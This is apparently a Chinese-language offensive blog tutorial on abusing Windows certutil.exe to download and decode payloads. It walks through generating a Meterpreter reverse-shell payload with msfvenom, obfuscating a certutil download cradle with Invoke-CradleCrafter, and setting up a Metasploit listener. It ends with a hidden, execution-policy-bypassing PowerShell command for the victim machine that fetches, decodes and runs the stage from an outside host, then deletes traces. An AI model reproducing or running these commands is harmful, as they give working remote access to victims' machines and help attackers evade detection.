Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。
适用于:Windows Server 2012,Windows 10
1.使用Certutil.exe下载文件,下载完成以后一定记得delete 清理痕迹。
代码语言:javascript复制C:> certutil.exe -urlcache -split -f http://lyshark.com/lyshark.log
C:> certutil.exe -urlcache -split -f http://lyshark.com/lyshark.log delete
2.在应急中certutil也是常用工具之一,来对比文件hash,来判断疑似文件。
代码语言:javascript复制C:> certutil -hashfile lyshark.log MD5
MD5 的 lyshark.log 哈希:
6f5902ac237024bdd0c176cb93063dc4
3.还可以对指定文件进行编码。编码后生成目标文件lyshark.bat
代码语言:javascript复制C:> certutil -encode lyshark.log lyshark.bat
输入长度 = 12
输出长度 = 74
CertUtil: -encode 命令成功完成。
4.通过使用decode命令来完成解码。
代码语言:javascript复制C:> certutil -decode lyshark.bat lyshark.log
输入长度 = 74
输出长度 = 12
CertUtil: -decode 命令成功完成。
附加:C:> bitsadmin /rawreturn /transfer down "http://lyshark.com/lyshark.exe" c:lyshark.exe
以上的简介就是certutil工具的常用应用场景,而通过结合powershell的内存加载功能,则可把certutil的功能发挥到极致,接下来先来下载一个PS的加载框架。
PowerShell 混淆框架:https://github.com/danielbohannon/Invoke-CradleCrafter
1.在加载PowerShell脚本之前,先来进行数字签名,运行命令。
代码语言:javascript复制PS C:Invoke-CradleCrafter> Set-ExecutionPolicy Bypass
执行策略更改
执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 https:/go.microsoft.com/fwlink/?LinkID=135170
中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略? Y
2.使用方法,执行两条命令,加载框架。
代码语言:javascript复制PS C:Invoke-CradleCrafter> Import-Module .Invoke-CradleCrafter.ps1
PS C:Invoke-CradleCrafter> Invoke-CradleCrafter
Invoke-CradleCrafter
_____ _ ,
_ _ ____ _____ | | _____ /( __________
/ // '_ / / _ | |/ / _ _____ | >:==========`
// /_ | | | V / (_) | < __/_____| )(
____/ |_| |_|_/ ___/|_|____| ""
___ _ _ ___ __ _
/ __ __ __ _ __| | | ___ / __ __ __ _ / _| |_ ___ _ __
/ / | '__/ _` |/ _` | |/ _ / / | '__/ _` | |_| __/ _ '__|
/ /__| | | (_| | (_| | | __/ /__| | | (_| | _| || __/ |
____/_| __,_|__,_|_|_______/_| __,_|_| _____|_|
Tool :: Invoke-CradleCrafter
Author :: Daniel Bohannon (DBO)
Twitter :: @danielhbohannon
Blog :: http://danielbohannon.com
Github :: https://github.com/danielbohannon/Invoke-CradleCrafter
Version :: 1.1
License :: Apache License, Version 2.0
Notes :: If(!$Caffeinated) {Exit}
HELP MENU :: Available options shown below:
3.MSF攻击主机,生成payload,并将生成好的payload放入网站根目录,保证能够正常访问。
代码语言:javascript复制[root@localhost ~]# msfvenom -p windows/x64/meterpreter/reverse_tcp
> lhost=192.168.1.30 lport=8888 -e cmd/powershell_base64
> -f psh -o lyshark.txt
[root@localhost ~]# cp -a lyshark.txt /var/www/html/
[root@localhost ~]# systemctl restart httpd
4.powershell 框架设置指定好的URL链接。
代码语言:javascript复制Invoke-CradleCrafter> set URL http://lyshark.com/lyshark.txt
Successfully set Url:
http://lyshark.com/lyshark.txt
5.分别执行以下命令完成初始化,这里如果报错请添加环境变量。
代码语言:javascript复制Invoke-CradleCrafter> MEMORY
Choose one of the below Memory options:
[*] MEMORYPSWEBSTRING PS Net.WebClient DownloadString method
[*] MEMORYPSWEBDATA PS Net.WebClient DownloadData method
[*] MEMORYPSWEBOPENREAD PS Net.WebClient OpenRead method
[*] MEMORYNETWEBSTRING .NET [Net.WebClient] DownloadString method (PS3.0 )
[*] MEMORYNETWEBDATA .NET [Net.WebClient] DownloadData method (PS3.0 )
[*] MEMORYNETWEBOPENREAD .NET [Net.WebClient] OpenRead method (PS3.0 )
[*] MEMORYPSWEBREQUEST PS Invoke-WebRequest/IWR (PS3.0 )
[*] MEMORYPSRESTMETHOD PS Invoke-RestMethod/IRM (PS3.0 )
[*] MEMORYNETWEBREQUEST .NET [Net.HttpWebRequest] class
[*] MEMORYPSSENDKEYS PS SendKeys class Notepad (for the lulz)
[*] MEMORYPSCOMWORD PS COM object WinWord.exe
[*] MEMORYPSCOMEXCEL PS COM object Excel.exe
[*] MEMORYPSCOMIE PS COM object Iexplore.exe
[*] MEMORYPSCOMMSXML PS COM object MsXml2.ServerXmlHttp
[*] MEMORYPSINLINECSHARP PS Add-Type Inline CSharp
[*] MEMORYPSCOMPILEDCSHARP .NET [Reflection.Assembly]::Load Pre-Compiled CSharp
[*] MEMORYCERTUTIL Certutil.exe -ping Argument
代码语言:javascript复制Invoke-CradleCrafterMemory> CERTUTIL
[*] Name :: Certutil
[*] Description :: PowerShell leveraging certutil.exe to download payload as string
[*] Compatibility :: PS 2.0
[*] Dependencies :: Certutil.exe
[*] Footprint :: Entirely memory-based
[*] Indicators :: powershell.exe spawns certutil.exe certutil.exe
[*] Artifacts :: C:WindowsPrefetchCERTUTIL.EXE-********.pf AppCompat Cache
代码语言:javascript复制Invoke-CradleCrafterMemoryCertutil> ALL
Choose one of the below MemoryCertutilAll options to APPLY to current cradle:
[*] MEMORYCERTUTILALL1 Execute ALL Token obfuscation techniques (random order)
Invoke-CradleCrafterMemoryCertutilAll> 1
Executed:
CLI: MemoryCertutilAll1
FULL: Out-Cradle -Url 'http://lyshark.com/lyshark.txt' -Cradle 17 -TokenArray @('All',1)
Result:
SV 1O6 'http://lyshark.com/lyshark.txt';.(Get-Command *ke-*pr*) ((C:WindowsSystem32certutil /ping (Get-Item Variable:1O6).Value|&(Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand.PsObject.Methods|?{(Get-Variable _ -ValueOn).Name-ilike'*and'}).Name).Invoke((Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand|GM|?{(Get-Variable _ -ValueOn).Name-ilike'*Com*e'}).Name).Invoke('*el*-O*',$TRUE,1),[Management.Automation.CommandTypes]::Cmdlet)-Skip 2|&(Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand.PsObject.Methods|?{(Get-Variable _ -ValueOn).Name-ilike'*and'}).Name).Invoke((Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand|GM|?{(Get-Variable _ -ValueOn).Name-ilike'*Com*e'}).Name).Invoke('*el*-O*',$TRUE,1),[Management.Automation.CommandTypes]::Cmdlet)-SkipLa 1)-Join"`r`n")
Choose one of the below MemoryCertutilAll options to APPLY to current cradle:
[*] MEMORYCERTUTILALL1 Execute ALL Token obfuscation techniques (random order)
6.将上方混淆后的内容保存为 crt.txt 然后进行encode加密
代码语言:javascript复制C:UserslysharkDesktop>certutil -encode crt.txt crt.cer
输入长度 = 912
输出长度 = 1310
CertUtil: -encode 命令成功完成。
7.将生成的 crt.cet 放入服务器的根目录下,保证能够访问,然后运行msfconsole控制台,并侦听事件。
代码语言:javascript复制[root@localhost ~]# cp -a crt.cer /var/www/html/
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
lhost => 192.168.1.7
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > exploit -j -z
8.最终靶机执行,以下命令。
代码语言:javascript复制powershell.exe ‐Win hiddeN ‐Exec ByPasS add‐content ‐path %APPDATA%crt.cer (New‐Object Net.WebClient).DownloadString('http://lyshark.com/crt.cer'); certutil ‐decode %APPDATA%crt.cer %APPDATA%stage.ps1 & start /b c
md /c powershell.exe ‐Exec Bypass ‐NoExit ‐File %APPDATA%stage.ps1 & start /b cmd /c del %APPDATA%crt.cer